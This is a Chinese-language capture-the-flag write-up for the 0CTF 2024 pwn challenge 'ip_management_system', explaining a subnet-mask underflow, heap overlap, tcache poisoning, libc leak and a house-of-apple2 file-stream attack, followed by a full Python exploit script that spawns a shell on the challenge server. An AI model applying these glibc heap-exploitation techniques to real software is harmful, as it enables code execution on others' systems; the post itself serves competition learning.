pwn· 更新于 2025-03-14

0ctf_2024

0CTF 2024 PWN WP

ip_management_system

漏洞在 add/delete ip 时使用子网掩码,会把 start ip 后几位按照掩码清零,而且没有检查造成的向上溢出

image-20241224085004256

所以先常规泄露 heap 地址,然后上溢修改 size,使 tcache 链入两个 chunk,再上溢修改 size,将上方的 chunk size 改大,free 后 malloc 即可造成堆重叠,最后修改 fd,实现任意地址分配。

image-20241224085733123

实现任意分配

image-20241224085842633

由于此时没有 libc,所以选择打 tcache 结构体,然后先 malloc 一个大于 0x500 的 chunk,然后将 tcache 中任一 size 的 chunk 指向他,将他 free 掉,再 malloc 回来即可 leak libc

image-20241224090030586

同时因为程序没有 exit 等触发 io 流的函数,打 stdout 的话,由于任意读写只能一个 bit 一个 bit 的读写,也无法成功。因此选择打__malloc_assert 触发的 fflush(stderr),但实际好像是 fxprintf 触发的

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
		 const char *function)
{
  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
		     __progname, __progname[0] ? ": " : "",
		     file, line,
		     function ? function : "", function ? ": " : "",
		     assertion);
  fflush (stderr);
  abort ();
}

链子用的是 house of apple2,值得一提的是,由于读写非常不方便,因此需要经可能缩减 payload 和读写次数,否则远程极易超时

然后将 top_chunk 改成奇怪的大小,malloc 就能触发__malloc_assert

image-20241224090704587

#!/usr/bin/env python3
from pwncli import *

context.terminal = ["tmux", "splitw", "-h", "-l", "122"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.libc = ELF('./libc.so.6')
libc = gift.libc
if local_flag == "remote":
    # 设置代理 (HTTP 代理转为 SOCKS5 模式)
    proxy_host = "instance.penguin.0ops.sjtu.cn"
    proxy_port = 18081

    # 目标主机和端口
    target_host = "7bw2ftmpycgv7k6m"
    target_port = 1

    # 设置 socket 代理
    s = socks.socksocket()
    s.set_proxy(socks.HTTP, proxy_host, proxy_port)
    s.connect((target_host, target_port))

    # 使用 pwntools 的包装功能
    gift.io = remote.fromsocket(s)
    # addr = ''
    # host = addr.split(' ')
    # gift.io = remote(host[0], host[1])
    gift.remote = True
else:
    gift.io = process('./pwn')
    if local_flag == "nodbg":
        gift.remote = True
init_x64_context(gift.io, gift)
context.log_level = 'warn'
gift.debug = True


input_after_this = b'Choose an option:'


def h2ip(hex_ip):
    if isinstance(hex_ip, int):
        hex_ip = f"{hex_ip:08x}"
    # 将十六进制按 2 位分隔为 4 段,每段转换为十进制
    octets = [str(int(hex_ip[i : i + 2], 16)) for i in range(0, len(hex_ip), 2)]
    # 用 "." 连接成 IPv4 地址
    return ".".join(octets)


def ip2h(ipv4):
    # 将 IPv4 地址按 "." 分割为 4 段
    parts = ipv4.split(".")
    # 每段转换为两位的十六进制字符串并拼接
    hex_ip = ''.join(f'{int(part):02X}' for part in parts)
    return int(hex_ip.lower(), 16)


def create_set(start, end):
    sla(input_after_this, b'1')
    sla(b'start ip', start)
    sla(b'end ip', end)


def add_ip(*args):
    sla(input_after_this, b'2')
    if len(args) == 1:
        sla(b'ip', args[0])
    else:
        sla(b'ip', f"{args[0]}-{args[1]}")


def dele_ip(*args):
    sla(input_after_this, b'3')
    if len(args) == 1:
        sla(b'ip', args[0])
    else:
        sla(b'ip', f"{args[0]}-{args[1]}")


def querp_ip(ip):
    sla(input_after_this, b'4')
    sla(b'ip', ip)
    ru(b'IP')
    r = ru(b'set')
    if b'not' in r:
        return 0
    return 1


def clear_ip():
    sla(input_after_this, b'5')


def cal_size(size, mode=0, start=0):
    size = start + (size - 1 << 3)
    if mode:
        return h2ip(size + 0b111)
    return h2ip(size)


cmd = '''
    directory /mnt/f/Documents/CTF/glibc/glibc-2.35
    brva 0x152B
    # create_set
    brva 0x1999
    brva 0x15B0

    brva 0x183E
    # add
    brva 0x1896
    # dele

    # brva 0x1813
    # brva 0x17C8
    # dis 4
    # dis 5
    b _exit
    b __malloc_assert
    b _IO_switch_to_wget_mode
    c
    set $ip = $rebase(0x4050)
'''
# context.log_level = 'warn'

# create_set(h2ip(0x0), cal_size(0x8))
# clear_ip()
create_set(h2ip(0x0), cal_size(0x8))
clear_ip()
# create_set(h2ip(0x0), cal_size(0x508))
# clear_ip()
# create_set(h2ip(0x0), cal_size(0x78))
# clear_ip()

create_set(h2ip(0x0), cal_size(0x8))
ip_list = []
for i in range(0, 0x8 * 5):
    ip_list.append(h2ip(i))
heap_leak = []
for i in ip_list:
    heap_leak.append(str(querp_ip(i)))
heap_leak = ''.join(heap_leak[::-1])
heap_base = int(heap_leak, 2) << 12
# print(heap_leak)
log_heap_base_addr(heap_base)
clear_ip()

# create_set(h2ip(0x0), cal_size(0x508))
# ip_list = []
# for i in range(0, 0x8 * 6):
#     ip_list.append(h2ip(i))
# libc_leak = []
# for i in ip_list:
#     libc_leak.append(str(querp_ip(i)))
# libc_leak = ''.join(heap_leak[::-1])
# libc_base = int(heap_leak, 2)
# clear_ip()
'''
/20 -0x1FF
/
'''

s = h2ip(0xCFFF - 0xB8 - 3)  # 0xCB87
create_set(s, cal_size(0x40, start=ip2h(s)))
add_ip(s + "/23")

s = h2ip(0xCFFF - 0x38 - 9)  # 0xCB87
create_set(s, cal_size(0x40, start=ip2h(s)))
dele_ip(s + "/22")

create_set(s, cal_size(0x10, start=ip2h(s)))
clear_ip()

create_set(s, cal_size(0x48, start=ip2h(s)))
clear_ip()
s = "0.0.0.189"
create_set(s, cal_size(0x148, start=ip2h(s)))
dele_ip(s + "/25")
clear_ip()

s = h2ip(0)
create_set(s, cal_size(0x2E8, start=ip2h(s)))

change_addr = protect_ptr(heap_base + 0x3B0, heap_base + 0xB0)
change_byte = f"{change_addr:048b}"
change_byte = change_byte[::-1]
print(change_byte)
for i in range(len(change_byte)):
    if change_byte[i] == '1':
        add_ip(h2ip(0x880 + i))
    else:
        dele_ip(h2ip(0x880 + i))

s = "0.0.0.189"
for i in range(0x8):
    create_set(s, cal_size(0x150 + i * 0x10, start=ip2h(s)))
    dele_ip(s + "/25")
    clear_ip()

create_set(s, cal_size(0x100, start=ip2h(s)))
clear_ip()

create_set(s, cal_size(0x508, start=ip2h(s)))
create_set(s, cal_size(0x208, start=ip2h(s)))

create_set(s, cal_size(0x48, start=ip2h(s)))
s = h2ip(0)
create_set(s, cal_size(0x48, start=ip2h(s)))


change_addr = heap_base + 0x12D0
change_addr = change_addr & 0xFFFF

change_byte = f"{change_addr:016b}"
change_byte = change_byte[::-1]
# print(change_byte)
for i in range(len(change_byte)):
    if change_byte[i] == '1':
        add_ip(h2ip(0x0 + i))
    else:
        dele_ip(h2ip(0x0 + i))

# log_heap_base_addr(heap_base)
change_addr = heap_base + 0xC0
change_addr = change_addr & 0xFFF
change_byte = f"{change_addr:012b}"
change_byte = change_byte[::-1]
# print(change_byte)
# log_ex(f"len: {len(change_byte)}")
for i in range(len(change_byte)):
    if change_byte[i] == '1':
        add_ip(h2ip(64 * 4 + i))
    else:
        dele_ip(h2ip(64 * 4 + i))

create_set(s, cal_size(0x58, start=ip2h(s)))
clear_ip()
s = h2ip(0)
create_set(s, cal_size(0x508, start=ip2h(s)))

ip_list = []
for i in range(0, 0x8 * 6):
    ip_list.append(h2ip(i))
libc_leak = []
for i in ip_list:
    libc_leak.append(str(querp_ip(i)))
libc_leak = ''.join(libc_leak[::-1])
libc_base = int(libc_leak, 2) - 0x21ACE0
set_current_libc_base_and_log(libc_base)


puts_got = libc_base + 0x21A098 - 8
stdout = libc_base + 0x21B680 + 0x100
stderr = libc_base + 0x21B680 + 0x20

create_set(s, cal_size(0x98, start=ip2h(s)))
change_addr = heap_base + 0x19E8 - 8
change_addr = change_addr & 0xFFFF
change_byte = f"{change_addr:016b}"
change_byte = change_byte[::-1]
for i in range(len(change_byte)):
    if change_byte[i] == '1':
        add_ip(h2ip(0 + i))
    else:
        dele_ip(h2ip(0 + i))

change_addr = stderr
change_byte = f"{change_addr:048b}"
change_byte = change_byte[::-1]
for i in range(len(change_byte)):
    if change_byte[i] == '1':
        add_ip(h2ip(9 * 8 * 8 + i))
    else:
        dele_ip(h2ip(9 * 8 * 8 + i))

# change_addr = libc_base + 0x21b680 + 0x100 + 0x70
# change_byte = f"{change_addr:048b}"
# change_byte = change_byte[::-1]
# print(change_byte)
# for i in range(len(change_byte)):
#     if change_byte[i] == '1':
#         add_ip(h2ip(64 + i))
#     else:
#         dele_ip(h2ip(64 + i))

s = h2ip(0)
# sla(input_after_this, b'6')
create_set(s, cal_size(0x100, start=ip2h(s)))
# dele_ip(0, 0xD8 * 8)

change_addr = libc.sym.system
change_byte = f"{change_addr:048b}"
change_byte = change_byte[::-1]
for i in range(len(change_byte)):
    if change_byte[i] == '1':
        add_ip(h2ip(8 * 0x28 + i))
    else:
        dele_ip(h2ip(8 * 0x28 + i))

change_addr = stderr - 0x40
# change_addr = heap_base
change_byte = f"{change_addr:048b}"
change_byte = change_byte[::-1]
for i in range(len(change_byte)):
    if change_byte[i] == '1':
        add_ip(h2ip(8 * 0xA0 + i))
    else:
        dele_ip(h2ip(8 * 0xA0 + i))

change_addr = libc.sym._IO_wfile_jumps - 0x48 + 0x28
change_byte = f"{change_addr:048b}"
change_byte = change_byte[::-1]
for i in range(len(change_byte)):
    if change_byte[i] == '1':
        add_ip(h2ip(8 * 0xD8 + i))
    else:
        dele_ip(h2ip(8 * 0xD8 + i))

# change_addr = libc.sym._environ - 0x10
# change_byte = f"{change_addr:048b}"
# change_byte = change_byte[::-1]
# for i in range(len(change_byte)):
#     if change_byte[i] == '1':
#         add_ip(h2ip(8 * 0x88 + i))
#     else:
#         dele_ip(h2ip(8 * 0x88 + i))

change_addr = u64_ex('  sh')
launch_gdb(cmd)
change_byte = f"{change_addr:048b}"
change_byte = change_byte[::-1]
for i in range(len(change_byte)):
    if change_byte[i] == '1':
        add_ip(h2ip(+i))
    else:
        dele_ip(h2ip(+i))

create_set(s, cal_size(0x70, start=ip2h(s)))
dele_ip(0, 0x8 * 8)
create_set(s, cal_size(0x500, start=ip2h(s)))

# change_addr = libc.sym.exit
# change_byte = f"{change_addr:048b}"
# change_byte = change_byte[::-1]
# for i in range(len(change_byte)):
#     if change_byte[i] == '1':
#         add_ip(h2ip(64 + i))
#     else:
#         dele_ip(h2ip(64 + i))

sl(b'cat /flag\x00')
sl(b'cat /flag\x00')
sl(b'cat /flag\x00')

ia()

最后非常感谢沪✌ZianTT,由于人在北京,和上海有着物理距离上的遥远,和靶机的交互一卡一卡的,导致远程一直超时,换了 vps 也是超时,最后优化了 exp,让沪✌跑脚本才打通了。

当然还得感谢圈爷,io 板子的神!!!

image-20241224091015590

image-20241224091019226

也是体验了一把前五的感觉

评论
NETEASE歌单
未选择曲目
0:000:00